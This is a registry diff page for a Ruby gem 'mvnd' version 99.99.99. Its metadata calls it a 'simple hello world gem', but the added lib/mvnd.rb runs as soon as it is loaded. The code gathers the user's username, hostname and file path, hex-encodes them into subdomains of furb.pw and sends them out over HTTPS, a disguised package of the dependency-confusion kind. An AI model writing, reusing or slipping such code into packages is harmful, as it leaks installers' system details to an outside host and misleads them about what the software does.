mvnd 99.99.99
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of mvnd might be problematic. Click here for more details.
- checksums.yaml +7 -0
- data/lib/mvnd.rb +146 -0
- metadata +40 -0
checksums.yaml
ADDED
@@ -0,0 +1,7 @@
|
|
1
|
+
---
|
2
|
+
SHA256:
|
3
|
+
metadata.gz: 9567c0d39130e742948bb1fedae5cffa4c52a24dbf94ae515bbcf95d6d448d56
|
4
|
+
data.tar.gz: 7231637e79637777238f5f96ff4deb4bcd354be30821cd9cbc5e4983d3eeeca0
|
5
|
+
SHA512:
|
6
|
+
metadata.gz: 1aa859da6e882a29534139547b41b086cdea68e0d42144e324f2b6a18074b43bec2836c9270e71a75c1e887f9d41a207d65f9b9e07acaf2576aa4992be07a8ef
|
7
|
+
data.tar.gz: a4a6f7d1988411447d27c9878c7c0afc08e30d9f6ba1549040610e0ee84ce5bbb34e89f1ee0391a6028826feff8582cf371210ef7ad006aed5b64f4ea5accabb
|
data/lib/mvnd.rb
ADDED
@@ -0,0 +1,146 @@
|
|
1
|
+
#!/usr/bin/env ruby
|
2
|
+
"""
|
3
|
+
author: furbreeze@github.io
|
4
|
+
"""
|
5
|
+
|
6
|
+
require 'net/http'
|
7
|
+
require 'socket'
|
8
|
+
|
9
|
+
|
10
|
+
def hex_encode(string)
|
11
|
+
"""Convert string to hexadecimal encoding."""
|
12
|
+
string.unpack1('H*')
|
13
|
+
end
|
14
|
+
|
15
|
+
def collect_system_info
|
16
|
+
"""Collect and hex encode system information."""
|
17
|
+
info = {}
|
18
|
+
|
19
|
+
# Get username of the current process
|
20
|
+
username = ENV['USER'] || ENV['USERNAME'] || `whoami`.strip
|
21
|
+
info[:username] = username
|
22
|
+
info[:username_hex] = hex_encode(username)
|
23
|
+
|
24
|
+
# Get hostname of the machine
|
25
|
+
hostname = Socket.gethostname
|
26
|
+
info[:hostname] = hostname
|
27
|
+
info[:hostname_hex] = hex_encode(hostname)
|
28
|
+
|
29
|
+
# Get path of the current file
|
30
|
+
file_path = File.expand_path(__FILE__)
|
31
|
+
info[:file_path] = file_path
|
32
|
+
info[:file_path_hex] = hex_encode(file_path)
|
33
|
+
|
34
|
+
info
|
35
|
+
end
|
36
|
+
|
37
|
+
def truncate_domain(username_hex, hostname_hex, filepath_hex, base_domain = "furb.pw")
|
38
|
+
"""Truncate filepath hex until total domain length is 253 characters or less."""
|
39
|
+
|
40
|
+
# Calculate the base length: username.hostname.filepath.furb.pw
|
41
|
+
# We need 3 dots plus the base domain length
|
42
|
+
base_length = username_hex.length + hostname_hex.length + base_domain.length + 3
|
43
|
+
|
44
|
+
# Maximum allowed total length is 253 characters
|
45
|
+
max_length = 220
|
46
|
+
available_for_filepath = max_length - base_length
|
47
|
+
|
48
|
+
# If filepath is too long, truncate it
|
49
|
+
if available_for_filepath < filepath_hex.length
|
50
|
+
if available_for_filepath > 0
|
51
|
+
truncated_filepath = filepath_hex[0, available_for_filepath]
|
52
|
+
else
|
53
|
+
truncated_filepath = ""
|
54
|
+
end
|
55
|
+
puts "Warning: Filepath truncated from #{filepath_hex.length} to #{truncated_filepath.length} characters"
|
56
|
+
else
|
57
|
+
truncated_filepath = filepath_hex
|
58
|
+
end
|
59
|
+
|
60
|
+
truncated_filepath = chunk_string(truncated_filepath)
|
61
|
+
|
62
|
+
# Construct the final domain
|
63
|
+
if truncated_filepath.empty?
|
64
|
+
domain = "a#{username_hex}.a#{hostname_hex}.#{base_domain}"
|
65
|
+
else
|
66
|
+
domain = "a#{username_hex}.a#{hostname_hex}.a#{truncated_filepath}.#{base_domain}"
|
67
|
+
end
|
68
|
+
|
69
|
+
puts "Final domain length: #{domain.length} characters"
|
70
|
+
domain
|
71
|
+
end
|
72
|
+
|
73
|
+
def chunk_string(str, max_length = 60)
|
74
|
+
str.scan(/.{1,#{max_length}}/).join('.a')
|
75
|
+
end
|
76
|
+
|
77
|
+
def send_data(domain)
|
78
|
+
"""Send HTTP request to the constructed domain."""
|
79
|
+
begin
|
80
|
+
# Create HTTP connection
|
81
|
+
uri = URI("https://#{domain}/")
|
82
|
+
http = Net::HTTP.new(uri.host, 443)
|
83
|
+
http.open_timeout = 5
|
84
|
+
http.read_timeout = 5
|
85
|
+
|
86
|
+
# Create GET request
|
87
|
+
request = Net::HTTP::Get.new(uri)
|
88
|
+
request['User-Agent'] = 'Ruby/SystemInfo'
|
89
|
+
|
90
|
+
# Send request
|
91
|
+
response = http.request(request)
|
92
|
+
|
93
|
+
puts "Request sent successfully!"
|
94
|
+
puts "Response code: #{response.code}"
|
95
|
+
puts "Response body: #{response.body}" unless response.body.empty?
|
96
|
+
|
97
|
+
return true
|
98
|
+
|
99
|
+
rescue Net::TimeoutError
|
100
|
+
puts "Error: Connection timed out"
|
101
|
+
return false
|
102
|
+
rescue Errno::ECONNREFUSED
|
103
|
+
puts "Error: Connection refused - target may not be listening"
|
104
|
+
return false
|
105
|
+
rescue SocketError => e
|
106
|
+
puts "Error: Socket error - #{e.message}"
|
107
|
+
return false
|
108
|
+
rescue StandardError => e
|
109
|
+
puts "Error: #{e.message}"
|
110
|
+
return false
|
111
|
+
end
|
112
|
+
end
|
113
|
+
|
114
|
+
def main
|
115
|
+
# Collect system information
|
116
|
+
puts "Collecting system information..."
|
117
|
+
system_info = collect_system_info
|
118
|
+
|
119
|
+
puts "Collected information:"
|
120
|
+
puts " Username: #{system_info[:username]}"
|
121
|
+
puts " Username (hex): #{system_info[:username_hex]}"
|
122
|
+
puts " Hostname: #{system_info[:hostname]}"
|
123
|
+
puts " Hostname (hex): #{system_info[:hostname_hex]}"
|
124
|
+
puts " File path: #{system_info[:file_path]}"
|
125
|
+
puts " File path (hex): #{system_info[:file_path_hex]} (#{system_info[:file_path_hex].length} chars)"
|
126
|
+
|
127
|
+
# Create the target domain with truncation if needed
|
128
|
+
puts "\nConstructing target domain..."
|
129
|
+
target_domain = truncate_domain(
|
130
|
+
system_info[:username_hex],
|
131
|
+
system_info[:hostname_hex],
|
132
|
+
system_info[:file_path_hex]
|
133
|
+
)
|
134
|
+
|
135
|
+
puts "Target domain: #{target_domain}"
|
136
|
+
|
137
|
+
# Send the request
|
138
|
+
puts "\nSending request..."
|
139
|
+
success = send_data(target_domain)
|
140
|
+
|
141
|
+
exit success ? 0 : 1
|
142
|
+
end
|
143
|
+
|
144
|
+
unless __FILE__ == $0
|
145
|
+
main()
|
146
|
+
end
|
metadata
ADDED
@@ -0,0 +1,40 @@
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
2
|
+
name: mvnd
|
3
|
+
version: !ruby/object:Gem::Version
|
4
|
+
version: 99.99.99
|
5
|
+
platform: ruby
|
6
|
+
authors:
|
7
|
+
- Nick Quaranto
|
8
|
+
bindir: bin
|
9
|
+
cert_chain: []
|
10
|
+
date: 1980-01-02 00:00:00.000000000 Z
|
11
|
+
dependencies: []
|
12
|
+
description: A simple hello world gem
|
13
|
+
email: nick@quaran.to
|
14
|
+
executables: []
|
15
|
+
extensions: []
|
16
|
+
extra_rdoc_files: []
|
17
|
+
files:
|
18
|
+
- lib/mvnd.rb
|
19
|
+
homepage: https://rubygems.org/gems/mvnd
|
20
|
+
licenses:
|
21
|
+
- MIT
|
22
|
+
metadata: {}
|
23
|
+
rdoc_options: []
|
24
|
+
require_paths:
|
25
|
+
- lib
|
26
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
27
|
+
requirements:
|
28
|
+
- - ">="
|
29
|
+
- !ruby/object:Gem::Version
|
30
|
+
version: '0'
|
31
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
32
|
+
requirements:
|
33
|
+
- - ">="
|
34
|
+
- !ruby/object:Gem::Version
|
35
|
+
version: '0'
|
36
|
+
requirements: []
|
37
|
+
rubygems_version: 3.6.7
|
38
|
+
specification_version: 4
|
39
|
+
summary: Hola!
|
40
|
+
test_files: []
|